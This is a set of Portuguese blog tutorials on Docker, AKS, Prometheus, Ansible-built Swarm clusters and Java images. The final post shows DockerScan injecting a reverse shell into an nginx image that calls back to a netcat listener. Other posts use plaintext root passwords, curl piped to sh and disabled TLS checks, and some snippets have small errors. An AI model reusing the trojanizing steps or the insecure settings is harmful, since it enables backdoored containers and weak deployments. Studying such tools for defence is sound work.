AKS – Azure Kubernetes Service – Parte 2.

Continuando nossa série de posts sobre o AKS, hoje vamos entender como o AKS cria os recursos no Azure. Se você não viu o post anterior mostrando como podemos criar um cluster de maneira rápida e fácil dentro do Azure, segue o link abaixo:

AKS – Parte 1

Quando você executa a criação de um cluster de Kubernetes no Azure, automaticamente a Microsoft cria diversos componentes, hoje vamos entender que componentes são esses criados pelo Azure e como eles se relacionam com o cluster de Kubernetes.

Estrutura

Na criação de um cluster simples igual foi criado no post anterior a Microsoft irá automaticamente no Azure criar recursos dos tipos: Load Balancer, Resource Group, Node Pools.

Na imagem acima é possível ver que em Resource Groups existem dois recursos, o resource_aks foi criado anteriormente, porem o MC_resource_aks_aksmundodocker_eastus é criado automaticamente pelo Azure e nesse momento não podemos renomear esse resource, então ele vai adicionar o prefixo: MC_{NOME DO RESOURCE GROUP}_{NOME DO CLUSTER}_{REGIÃO}. Dentro desse Resource Group é onde ficam os objetos criados especificamente para o cluster. Dentro do resource_aks você irá visualizar apenas um recurso do tipo Kubernetes Service, como na imagem abaixo:

Ao clicar em MC_resource_aks_aksmundodocker_eastus você poderá ver os recursos criados, se você copiou e colocou o exemplo de criação do post anterior, você deve ver algo parecido com isto:

É possível ver os tipos de recursos: Public IP address, Network security group, Route table, Virtual machine scale set, Virtual network e Load balancer. Por padrão são esses os tipos de recursos criados para um cluster de AKS.

Public IP address

Quando se cria um cluster de AKS padrão o endereço IP padrão para o Load Balancer é um IP público, então automaticamente o Azure cria um recursos do tipo Public IP address dentro do Resource group.

Network security group

O Networ security group (NSG) é um componente do Azure no qual é possível criar as regras para tráfego nas interfaces de rede, definindo assim se habilita o tráfego para determinado endereço ou recurso ou se habilita o mesmo.

Route table

O Route table como o nome já sugere é um recurso do Azure para definir a tabela de roteamento de alguns componentes.

Virtual machine scale set

Para conseguir realizar o dimensionamento de máquinas de maneira automática o Azure cria para o cluster de AKS um recurso do tipo Virtual machine scale set que faz com que o grupo de máquinas pode aumentar ou diminuir conforme a demanda de uso ou o agendamento criado.

Virtual network

Todo o cluster de AKS precisa ser criado dentro de uma Virtual network (VNET) ela pode ser criada automaticamente no momento de criação do cluster (Igual a gente fez) ou pode ser criada anteriormente e depois informada no momento da criação do cluster.

Load balancer

Dentro do Kubernetes existem 3 tipos de services: NodePort, ClusterIP e Load balancer. Quando o tipo de service Load balancer é criado o Azure atribui 1 IP da sua subnet para esse service e configura no recurso Load balancer um encaminhamento para esse service. Nos próximos posts a gente vai entender melhor e ver como essas regras são criadas.

Não sabe o que é service? da uma olhada em o que é service?

OBS* Os recursos criados pelo AKS de maneira automática não devem ser modificados ou excluídos por outras contas a não ser pela própria Azure, pois qualquer modificação pode fazer com que o recurso pare de funcionar e a Azure não de suporte a eles.


Os recursos acima são os criados de maneira default em um cluster simples no AKS. Agora que você aprendeu como funciona a estrutura do AKS e quais são os componentes básicos do cluster nos próximos posts você vai aprender como é possível realizar o deploy das aplicações, fazer integrações, monitoramento e obter o melhor desempenho para as suas aplicações em produção.

Publicando imagens no Docker Hub

Fala pessoal,

Hoje vamos falar de como é possível a gente realizar a publicação de uma imagem para o Docker Hub, mas a final o que é o Docker Hub?

Introdução

Docker Hub é um repositório de imagens fornecidos pela Docker de maneira pública e privada onde existem milhões de imagens disponibilizadas para o publico realizar o download. Por padrão quando o Docker é instalado ele vai realizar o download de todas as suas images a partir desse repositório público.

Na imagem acima é possível ver na interface do Docker Hub que existem atualmente 2.829.269 imagens disponíveis, provavelmente quando você ler esse post o número já sera maior. Pela interface é possível filtrar por imagens de categorias como: Databases, Security, Storage e por ai vai. Além disso algumas imagens possuem o selo de Official Image que são as imagens oficiais de algumas tecnologias, na imagem é possível verificar as imagens oficiais de: Couchbase, Ubuntu, Redis e Node.

No Docker Hub você também pode visualizar os plugins disponíveis para integrar a sua instalação de Docker para deixa-lá mais robusta e completa, desde a: Logging, Security, Network e Storage.

Criando uma imagem

Agora que já fomos apresentando ao Docker Hub vamos criar uma imagem customizada e vamos publicar ela, para você que quer entender o que é uma imagem, da uma lida nesses links:

O que é uma imagem?
O que é Dockerfile?

Agora que você já sabe o que é uma imagem e que o melhor jeito de gerar ela é a partir de um Dockerfile, vamos criar nossa imagem para publicá-la no Docker Hub. Para isso vamos criar um arquivo chamado: Dockerfile

FROM ubuntu:latest
RUN apt-get update -y
RUN apt-get install -y python-pip python-dev build-essential
COPY requirements.txt /app/
WORKDIR /app
RUN pip install -r requirements.txt
RUN rm -f /app/requirements.txt
COPY . /app
ENTRYPOINT ["python"]
CMD ["app.py"]

Criado o nosso Dockerfile a gente precisa ir até o diretório onde está o arquivo e executar:

docker build . -t mundodocker/demo-flask:1.0.0

Com isso o Docker irá interpretar o arquivo e começar a executar os comandos que nele estão, gerando assim a nossa imagem. Após finalizar o processo você pode verificar que a imagem já está criada de maneira local, para isso basta executar:

docker image ls

Para conseguir pegar esse exemplo completo você pode acessar este repositório que estamos disponibilizando e realizar o clone do projeto:
https://github.com/mundodocker/demo-flask

Agora falta a gente realizar a publicação dela para o Docker Hub, para isso precisamos fazer o login e depois fazer o push dela, então os comandos são:

docker login
docker push  mundodocker/demo-flask:1.0.0

O mundodocker antes do / é o nome do seu repositório criado dentro do Docker Hub, nesse caso é o mundodocker.

Após a execução dos comandos, você pode ir até a sua página do Docker Hub e irá visualizar a imagem dentro do seu repositório, agora é só passar o nome da imagem para todo mundo e pronto sua imagem está pronta para uso.

Espero que esse post tenha sido útil para vocês e gostaria que deixassem aqui embaixo algum comentário ou dúvidas para que cada vez mais possamos melhorar o nosso conteúdo para que fique simples para todos e também útil, então por hoje era isso pessoal, um grande abraço e muito obrigado!

AKS – Azure Kubernetes Service – Parte 1.

Olá pessoal,

Para aqueles que nâo conseguiram realizar a implantaçâo do EKS (Elastic Kubernetes Service) que o Cristiano comentou no post anterior, pois a sua empresa está usando o Azure por exemplo,
hoje vamos falar a respeito do AKS (Azure Kubernetes Services) quem sabe você convence o seu chefe a pelo menos realizar uma POC? emmmm 😀

Ahhh, mas antes você sabe o que é Kubernetes? Caso ainda não esteja familiarizado recomendo que leias os posts que fizemos sobre o assunto 😉 Segue os links:

Kubernetes Parte 1

Kubernetes Parte 2

Kubernetes Parte 3

AKS

O AKS é um serviço de Kubernetes gerenciado pelo Azure que abstrai a instalaçâo, configuraçâo e boa parte do gerenciamento de um cluster de Kubernetes. Quando você cria um AKS o mesmo já disponibiliza uma interface onde é possível ver o status atual de seu cluster, containers e ainda por cima nâo cobra valor algum pelos servidores Master do cluster, apenas pelos Workers.
Com toda essa facilidade não tem porque você criar uma estrutura de máquinas virtuais e depois realizar a instalação do Kubernetes, sendo que você irá precisar de pessoas para administrar ou automatizar essa instalação.

Prós:

  • Integração de RBAC simples com o Azure Active Diretory (É possível definir pessoas e grupos do AD que podem acessar diretamente o seu cluster de Kubernetes)
  • Integração com o Azure Disks (É só dizer qual tipo de disco seu Pod vai usar que automaticamente o disco é criado no Azure)
  • Azure CNI (Definir uma subnet especifica já criada e colocar IPs válidos nos Pods para realizar alguma integração com algum recurso do Azure)
  • Escalar automaticamente (Deixe configurado para aumentar a quantidade de nós quando chegar em x% de CPU)
  • Integração com Log Analytics (Enviar os logs dos containers diretamente para o Log Analytics e gerar Dashboards e alertas a partir dele)

Contras:

  • Caso queira fazer alguma configuração especifica nos Managers nâo é possível.
  • Não é possível mudar a engine de containers (Usam Docker).

Hands On

Partiu? vamos ver como é fácil realizar a instalaçâo e configuraçâo de um AKS?

Para isso existem duas maneiras, caso vocês utilizem Windows, é possível realizar a instalação do az-cli ou via Powershell realizar a instalação do módulo Powershell para o Azure. Para Linux deve ser feita a instalaçâo do az-cli

Windows

  • https://docs.microsoft.com/pt-br/cli/azure/install-azure-cli-windows?view=azure-cli-latest

Linux

  • Debian/Ubuntu
    • https://docs.microsoft.com/pt-br/cli/azure/install-azure-cli-apt?view=azure-cli-latest
  • RedHat/Centos
    • https://docs.microsoft.com/pt-br/cli/azure/install-azure-cli-yum?view=azure-cli-latest

Feito a instalação do az-cli, você deve realizar o login no azure para isso vamos executar:

az login

Após executar o comando irá aparecer na tela uma URL para você acessar e se autentica no portal do Azure, após realizar essa autenticação o az-cli estará pronto para uso.

Para realizar a criação do AKS vamos utilizar o comando az aks create esse comando possuí apenas 2 parâmetros obrigatórios são eles:

--name: Nome do cluster de AKS.
--resource-group: Grupo de recursos onde o cluster será criado.

Porém vamos utilizar outros parâmetros para ver o que mais a gente pode definir, então vamos utilizar mais os seguintes parâmetros:

--max-pods: Máximo de pods por worker.
--disable-rbac: Desabilita RBAC.
--node-count: Quantidade de Workers iniciais
--zones: Zona de disponibilidade do Azure
--nodepool-name: Nome do pool de máquinas para o AKS
--max-count: Quantidade máxima de Workers que podem ser criadas.

Para realizar a criação do cluster de AKS basta executar

az aks create --name aksmundodocker --resource-group resource_aks --max-pods 100 --disable-rbac --node-count 2 --zones 1 --nodepool-name aks --min-count 1  --max-count 3 --location eastus --enable-cluster-autoscaler

A criação deve demorar algo em torno de 7 minutos, após a criação do cluster basta você executar.

az aks get-credentials --name aksmundodocker --resource-group aks 

Com isso você já tem acesso ao seu cluster de AKS e pode começar a trabalhar nele. Para validar você pode executar o kubectl para testar a comunicação com o cluster:

kubectl get nodes

Eai, curtiu? Então manda para alguém que talvez tenha interesse, e claro, fique a vontade para conversamos 😉
Grande Abraço!

Prometheus + Docker

Fala pessoal, hoje vamos entrar em uma série de posts referentes a métricas, para quem está ligado no mundo da tecnologia, vem se falando há bastante tempo sobre SRE [ Ebook do Google ] (https://landing.google.com/sre/) um dos principais temas falado pelo pessoal do Google é em questões de métricas, pois são as métricas que nos fornecem uma visão geral referente a como está o nosso ambiente e nos proporciona a capacidade cada vez maior nossas equipes serem orientadas a dados: Data driven

Prometheus

Prometheus é um Kit de ferramentas de Monitoramento e Alertas Open Source que foi criada pela SoundCloud . Muitas empresas estão adotando o Prometheus para trabalhar com a questão de métricas de seus sistemas e aplicações. Em 2016 o Prometheus foi incorporado dentro da Cloud Native Computing Foundation sendo o segundo projeto hospedado após o Kubernetes.

Componentes

 Prometheus

Iniciando

Vamos monitorar o nosso servidor de Docker com o Prometheus, para isso vamos editar o arquivo daemon.json que já é criado por padrão em:

  • Linux /etc/docker/daemon.json
  • Windows C:\ProgramData\docker\config\daemon.json

Dentro desse arquivo vamos adicionar as seguintes linhas:

{
    "metrics-addr" : "127.0.0.1:9000"
    "experimental" : true
}


Após a criação desse arquivo, ou edição dele, vamos precisar criar o arquivo de configuração do nosso Prometheus, para isso vamos criar o arquivo config.yml

global:
    scrape_interval: 15s
    evaluation_interval: 15s

  external_labels:
    monitor: 'codelab-monitor'

scrape_configs:
  # The job name is added as a label `job=<job_name>` to any timeseries scraped from this config.
  - job_name: 'prometheus'

    # metrics_path defaults to '/metrics'
    # scheme defaults to 'http'.

    static_configs:
      - targets: ['localhost:9090']

  - job_name: 'docker'
         # metrics_path defaults to '/metrics'
         # scheme defaults to 'http'.

    static_configs:
      - targets: ['localhost:9323']


Com o conf criado vamos criar o serviço para começar a armazenar as métricas, para isso vamos executar:

docker service create --replicas 1 --name my-prometheus \
    --mount type=bind,source=/tmp/prometheus.yml,destination=/etc/prometheus/prometheus.yml \
    --publish published=9090,target=9090,protocol=tcp \
    prom/prometheus


  • –replicas=1 # Quantos containers de prometheus vamos ter
  • –mount # type = Tipo de mapeamento que iramos fazer, source = Caminho de origem para o arquivo de configuração, destination = Caminho de destino no container
  • –publish # publish = A porta que será exposta para o mundo, target = A porta que a gente configurou no config do prometheus, protocol = protocolo utilizado
  • prom/promtheus # Imagem utilizada.

Após isso basta abrir o seu browser e navegar até http://iphost:9090 e você terá acesso ao seu prometheus. Você pode ir até http://iphost:9000/targets/ onde você poderá ver as informações que configramos e verificar se está tudo ok com as coletas de nossas métricas.

Como podemos notar é meio complexo conseguirmos ver as informações referente ao nosso ambiente diretamente pelo Prometheus, então para facilitar esssa visão, vamos utilizar o Grafana como Dashboard, ja falamos dele em um post anterior: Grafana + Influx + Cadvisor

Para criar o container do Grafana vamos executar:

docker run -d --name=grafana -p 3000:3000 grafana/grafana

Passo 1 – Autenticação

feito isso vamos acessar http://localhost:3000 após o acesso será solicitado um username e password, por padrão o inicial é admin e admin, em seguida será solicitado um novo password, então basta colocar o seu novo password.

Passo 2 – Criação do Data Source

Agora vamos adicionar o nosso prometheus como Data Source, para que sejá possível realizarmos as consultas para preencher os nossos gráficos, para isso vamos clicar no icone conforme a imagem abaixo:

E vamos escolher a opção Data Source

Agora vamos ir até Add Data Source, onde vamos ter alguns campos que são padrões e outros que devem aparecer conforme o tipo de Data Source que será escolhido, nesse caso vamos utilizar o Prometheus.

  • url: http://localhost:9090
  • Access: Browser

Dessa vez vamos criar sem autenticação, então pode deixar as questões de AUTH em branco.

  • Marcar a opção: Skip TLS Verification (Insecure)

Após isso é só clicar em Save & Test.

Passo 3 – Criação dos Dashboards

Vá até a opção de New Dashboard dentro do Grafana e escolha a opção de “Graph”

Agora vamos editar o nosso Dashboard:

Agora a imaginação é sua, basta verificar no Prometheus quais os dados que você possui para poder fazer seus Dashboards.

Espero que esse post tenha sido útil para vocês e gostaria que deixassem aqui embaixo algum comentário ou dúvidas para que cada vez mais possamos melhorar o nosso conteúdo para que fique simples para todos e também útil, então por hoje era isso pessoal, um grande abraço e muito obrigado!

Cluster de Docker Swarm com Ansible

Fala pessoal, faz tempo que não criamos conteúdo para o site, foram alguns meses de conversa sobre o futuro do blog. E a partir de hoje vamos iniciar os nossos posts de 2018, o Mundo Docker por mais que contenha a palavra “Docker” em seu nome não é um blog que contenha só posts referentes a essa tecnologia, mas sim as tecnologias mais usadas no momento. No decorrer desse ano vamos falar de muita coisa que está sendo usada hoje em dia.

Então para nosso primeiro post do ano vamos mostrar como é possível realizar a configuração de um cluster de Docker Swarm com 3 managers e 1 Worker utilizando Ansible. para quem ainda não possui familiaridade com as nomenclaturas do Docker, Manager é o papel responsável por gerenciar o cluster de Docker Swarm, já o Worker é o responsável por hospedar os containers.

Mas o que é o Ansible? Basicamente é uma ferramenta de automatização de tarefas que é muito utilizada para provisionamento e configuração de servidores, muito semelhante a Chef e Puppet. Você pode ver mais detalhes dela em nosso outro post que detalha mais sobre o ansible:

Ansible

Para esse post vamos utilizar 5 máquinas virtuais, das quais:
3 Ubuntu 16.04 que serão utilizados como Managers
1 Ubuntu 16.04 que será utilizado como Worker
1 Ubuntu 16.04 que estará com o Ansible instalado

Nosso principal objetivo é realizar a configuração de nossos servidores de forma declarativa através do Ansible e disparar os Playbooks de configuração de nossos servidores.

Vamos iniciar fazendo a instalação do Ansible em nosso servidor que será o responsável por conectar nos outros 4 servidores. Como o Ansible conecta através de ssh nas máquinas então não é preciso realizar a instalação de agentes nas máquinas de destino, o único requisito é ter o acesso ssh liberado para a máquina que irá executar o Ansible. No momento da criação desse post a versão mais recente do Ansible é a 2.5 então vamos utilizar essa versão. Na máquina que estamos utilizando para servir como Ansible você irá executar os seguintes comandos:

sudo apt-get update
sudo apt-get install software-properties-common
sudo apt-add-repository ppa:ansible/ansible
sudo apt-get update
sudo apt-get install ansible

Após a execução desses comandos você estará com o Ansible instalado em sua máquina, o Ansible cria o diretório /etc/ansible/ dentro deste diretório temos o arquivo ansible.cfg que é o responsável por gerenciar algumas configurações como métodos de conexões, portas, protocolo, entre outras configurações. Alguns exemplos de configurações que muitas vezes são alteradas no ansible.cfg:

remote_port = 22
sudo_user = root
host_key_checking = False
# SSH timeout
timeout = 10

Esse foi um exemplo simples de alteração, você pode acessar o arquivo e verificar todas as opções de mudança. Vamos continuar então realizando a nossa configuração. Vamos criar o diretório que irá conter as nossas configurações para os servidores:

mkdir /home/exemplopost
mkdir /home/exemplopost/roles
mkdir /home/exemplopost/group_vars
cd /home/exemplopost
touch /home/exemplopost/hosts
touch /home/exemplopost/main.yml

Esses são os diretórios base que utilizamos em um projeto com Ansible, essa é uma nomenclatura padrão com quem trabalha com ansible. Dentro de “Roles” é onde vamos colocar os nossos “Playbooks” responsáveis pela configuração dos servidores onde segmentamos por funcionalidades, “group_vars” é onde colocamos os nossos templates de variáveis que utilizamos dentro dos nossos Playbooks. Ainda temos os arquivos “hosts” onde estão as informações dos servidores que vamos conectar e também o arquivo “main.yml” que é o início da execução do nosso Ansible, onde estará descrito as Roles que serão executadas e quais os hosts que serão usados. Então vamos iniciar adicionando os nossos hosts no arquivo hosts.

vim /home/exemplopost/hosts

[docker_swarm_manager]
MANAGER1 ansible_ssh_host=10.10.10.2 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass=ExemploPost
MANAGER2 ansible_ssh_host=10.10.10.3 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass=ExemploPost
MANAGER3 ansible_ssh_host=10.10.10.4 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass=ExemploPost
[docker_swarm_worker]
WORKER1 ansible_ssh_host=10.10.10.5 ansible_ssh_port=22 ansible_ssh_user=root ansible_ssh_pass=ExemploPost

Esse é o conteúdo do nosso arquivo de hosts, dentro deles temos dois grupos de máquinas, um que chamamos de “docker_swarm_manager” e “docker_swarm_worker” com a criação de grupos conseguimos definir que determinado grupo irá executar Roles X e outro grupo irá executar Roles Y, visto que nesse caso Managers e Workers possuem diferentes configurações. Vamos criar uma hierarquia de diretórios e arquivos conforme a imagem abaixo:

Vamos agora editar o arquivo /home/exemplopost/roles/docker/tasks/main.yml:


---
  - name: Realizando apt-get update
    apt:
     update_cache: yes
  - name: Modificando hostname
    shell: hostname {{ inventory_hostname }}

  - name: Instalando a versão mais recente do Docker
    shell: curl -sS https://get.docker.com | sh

  - name: Reiniciar serviço do Docker
    systemd:
     state: restarted
     enabled: yes
     daemon_reload: yes
     name: docker

Com isso temos todos os passos que são comuns em todos os servidores de Manager e Worker. Agora vamos realizar a configuração dos Managers: Abra o arquivo /home/exemplopost/roles/manager/tasks/main.yml:


---
  - name: Verifica se o Docker Swarm está habilitado
    shell: docker info
    changed_when: False
    register: docker_info

  - name: Cria o cluster no primeiro servidor
    shell: docker swarm init --advertise-addr {{ docker_swarm_manager_ip }}:{{ docker_swarm_manager_port }}
    when: "docker_info.stdout.find('Swarm: active') == -1 and inventory_hostname == groups['docker_swarm_manager'][0]"

  - name: Armazena o token de manager
    shell: docker swarm join-token -q manager
    changed_when: False
    register: docker_manager_token
    delegate_to: "{{ groups['docker_swarm_manager'][0] }}"
    when: "docker_info.stdout.find('Swarm: active') == -1"
 
  - name: Adiciona os outros swarms Managers no cluster.
    shell: docker swarm join --token "{{ docker_manager_token.stdout }}" {{ docker_swarm_manager_ip}}:{{ docker_swarm_manager_port }} 
    changed_when: False
    when: "docker_info.stdout.find('Swarm: active') == -1
     and docker_info.stdout.find('Swarm: pending') == -1
     and 'docker_swarm_manager' in group_names
     and inventory_hostname != groups['docker_swarm_manager'][0]"

 

Após criar o cluster e adicionar os servidores de Managers, vamos adicionar o nosso Worker para isso vamos editar /home/exemplopost/roles/worker/tasks/main.yml:


---
  - name: Verifica se o Docker Swarm está habilitado.
    shell: docker info
    changed_when: False
    register: docker_info

  - name: Pega o token do worker.
    shell: docker swarm join-token -q worker
    changed_when: False
    register: docker_worker_token
    delegate_to: "{{ groups['docker_swarm_manager'][0] }}"
    when: "docker_info.stdout.find('Swarm: active') == -1"

  - name: Adiciona o servidor de Worker no cluster.
    shell: docker swarm join --token "{{ docker_worker_token.stdout }}" {{ docker_swarm_manager_ip}}:{{ docker_swarm_manager_port }}
    changed_when: False
    when: "docker_info.stdout.find('Swarm: active') == -1
           and docker_info.stdout.find('Swarm: pending') == -1"

Os playbooks acima são os responsáveis pela criação do cluster de Docker Swarm. Agora vamos criar as variáveis que serão utilizadas.

/home/exemplopost/group_vars/all


---
  docker_swarm_manager_ip: "10.10.10.2"
  docker_swarm_manager_port: "2377"

Vamos agora definir o nosso arquivo main para chamar as roles a serem executadas. Para isso vamos criar o arquivo em /home/exemplopost/main.yml


---
 - name: Configurando Managers
   hosts: docker_swarm_manager

   roles:
     - docker
     - manager

 - name: Configurando Workers
   hosts: docker_swarm_worker
   roles:
    - docker
    - worker

Agora sim, criamos todos os arquivos necessários para rodar o nosso playbook, após fazer isso basta você executar o comando:

 ansible-playbook -i hosts main.yml

.
Feito isso temos o nosso cluster de Docker Swarm configurado e funcionando. Fizemos uma configuração simples que funciona muito bem para um ambiente de teste.

Espero que esse post tenha sido útil para vocês e gostaria que deixassem aqui embaixo algum comentário ou dúvidas para que cada vez mais possamos melhorar o nosso conteúdo para que fique simples para todos e também útil, então por hoje era isso pessoal, um grande abraço e muito obrigado!

Java em Docker

Olá pessoas, tudo bem?

Estamos há algum tempo pensando em montar um conteúdo um pouco mais prático sobre algumas soluções e claro, dúvidas que nossos leitores tem. Pensando nisso, queremos trazer hoje algumas dicas de como você pode montar uma imagem para sua aplicação Java \o/.

Bom, antes de tudo é válido reforçar que entender um Dockerfile é fundamental para quem tem interesse na criação não só de imagens para Java, mas para qualquer linguagem ou ainda aplicação. Mas por que? Por que ele te da o poder de criar o ambiente exatamente da forma que você quer e precisa, além é claro de servir como documentação do seu ambiente, pois tudo que você precisa estará dentro do Dockerfile, então, se você ainda não leu, por favor leia o post onde explicamos melhor ele ;).

Vamos começar pequeno, um passo por vez, em nosso lab, vamos criar no diretório corrente uma pasta chamada “app”, dentro dela vamos criar o Dockerfile com o seguinte conteúdo:

FROM phusion/baseimage:0.9.17
RUN echo "deb http://archive.ubuntu.com/ubuntu trusty main universe" > /etc/apt/sources.list
RUN apt-get -y update
RUN DEBIAN_FRONTEND=noninteractive apt-get install -y -q python-software-properties software-properties-common
ENV JAVA_VER 8
ENV JAVA_HOME /usr/lib/jvm/java-8-oracle
RUN echo 'deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main' >> /etc/apt/sources.list && \
 echo 'deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main' >> /etc/apt/sources.list && \
 apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C2518248EEA14886 && \
 apt-get update && \
 echo oracle-java${JAVA_VER}-installer shared/accepted-oracle-license-v1-1 select true | sudo /usr/bin/debconf-set-selections && \
 apt-get install -y --force-yes --no-install-recommends oracle-java${JAVA_VER}-installer oracle-java${JAVA_VER}-set-default && \
 apt-get clean && \
 rm -rf /var/cache/oracle-jdk${JAVA_VER}-installer

RUN update-java-alternatives -s java-8-oracle
RUN echo "export JAVA_HOME=/usr/lib/jvm/java-8-oracle" >> ~/.bashrc
RUN apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
CMD ["/sbin/my_init"]

Explicando.

FROM – Começamos sempre a criação de uma imagem baseada em outra imagem, em nossos exemplos vamos pegar a “phusion/baseimage:0.9.17” e baseada nela montaremos todo o resto, incluindo o Java propriamente dito (lembramos que você não precisa criar tudo do zero, no Docker Hub existem imagens prontas com o SDK já instalado).

RUN – Utilizamos para executar os comandos que desejados na imagem, isso para a adição de repositório, instalação de pacotes, criação de arquivos, etc. Basicamente qualquer comando sh pode ser utilizado aqui.

ENV – Serve para definirmos algumas variáveis dentro da imagem, em nosso caso, definimos a versão do Java que queremos instalar, bem como o path “java_home” da instalação.

CMD – Comando de inicialização da imagem, aqui você define o comando que será utilizado para subir seu container e mante-lo em execução (caso seja necessário), em nosso exemplo definimos um comando fake, que não tem ação nenhuma.

Feito, precisamos buildar a imagem para posteriormente utiliza-lá, para gerar a imagem você deve executar o comando:

$ docker build -t meujava:8 .

Com isso, aparecerá na sua lista de imagens essa que você acabou de gerar, e baseada nela vamos subir uma aplicação muito simples. Então, no mesmo diretório onde você está, crie um arquivo chamado: Main.java com o seguinte conteúdo:

public class Main
{
 public static void main(String[] args) {
 System.out.println("Oi MundoDocker ;)");
 }
}

Ok, agora vamos testar a imagem, para isso basta apenas criar um container e mapear o diretório onde você está, dessa forma é possível compilar esse arquivo que acabamos de criar, veja:

$ docker run --rm -v $PWD:/app -w /app meujava:8 javac Main.java

Está pronto? Calma amiguinho, o que fizemos foi compilar nossa aplicação, veja que no mesmo diretório apareceu um novo arquivo chamado Main.java, esta é o arquivo compilado e pronto para a execução, vamos lá:

$ docker run --rm -v $PWD:/app -w /app meujava:8 java Main

Veja que o retorno será exatamente a mensagem que definimos no arquivo Main.java, sim, eu sei, é ma exemplo ridículo de simples, mas temos que começar por algo.

Sim, este é um exemplo bem simples, que serve como exemplo de como é possível executar uma aplicação Java dentro de containers Docker, é claro que essa é a base para que você mesmo possa evoluir e construir seu ambiente da forma a atender melhor a sua necessidade.

Por hoje era isso, no vemos ano que vem 😉

Grande abraço!

DockerScan: Análise e hacking para Docker

Olá gente! Tudo bem?

Continuando a série de textos sobre Segurança e Docker, hoje vou falar sobre uma das ferramentas que citei no texto Segurança e hacking de containers Docker,  vamos ver mais detalhes sobre a ferramenta DockerScan.

DockerScan é uma ferramentas de análise e hacking de containers Docker, com ela é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.

Principais Funcionalidades

  • Faz scan de uma rede tentando localizar os Docker Registries
  • Registry
    • Delete: Exclui image / tag remota
    • Info: Mostra informações  de registros remotos
    • Push: Envia uma imagem
    • Upload: Upload de arquivo
  • Image
    • Analyze
      • Busca por informações confidenciais em uma imagem
      • Busca por senhas em variáveis de ambiente
      • Busca por qualquer URL / IP em variáveis de ambiente
      • Tenta identificar o usuário usado para executar o software
    • Extract: extrair uma imagem
    • Info: Obtém meta-informação da imagem
    • Modify:
      • entrypoint: altere o ponto de entrada em um Docker
      • trojanize: injeta um reverse shell em uma imagem Docker
      • user: altere o usuário em execução em uma imagem Docker

Instalando o DockerScan

Vamos ver agora como é simples instalar a ferramenta DockerScan.

Primeiro instale o gerenciador de pacotes da linguagem Python o pip:

> python3.5 -m pip install -U pip

Agora instalamos o DockerScan

> python3.5 -m pip install dockerscan

Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:

> dockerscan -h

Exemplos de utilização

Agora vamos para a parte legal, por a mão na massa, vamos ver alguns exemplos de como o DockerScan pode ser utilizado:

Com o comando a baixo pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:

$ dockerscan image info nome-da-imagem

Seguindos os passos a baixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:

//Baixe a imagem oficial do nginx
$ docker pull nginx

//Salve uma cópia da imagem
$ docker save nginx -o nginx-original

//Liste o conteúdo do diretório para ver se foi criada a cópia
$ ls -lh nginx-original

//Execute o seguinte comando para ver as informações da imagem
$ dockerscan image info nginx-original

//Execute um ifconfig para saber seu ip
$ ifconfig

//Execute para injetar um reverser shell
$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized
//Com este comando será criada uma nova imagem com um reverse shell

//Execute em outro terminal para ficar "ouvindo" a porta 2222
$ nc -v -k -l 2222

//Faça o load da imagem com vulnerabilidade
$ docker load -i nginx-trojanized.tar

//Execute
$ docker run nginx:latest

Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão, que ao usar, o código ou a execução do comando são alcançados.

Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta, se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo. Obrigado pela leitura.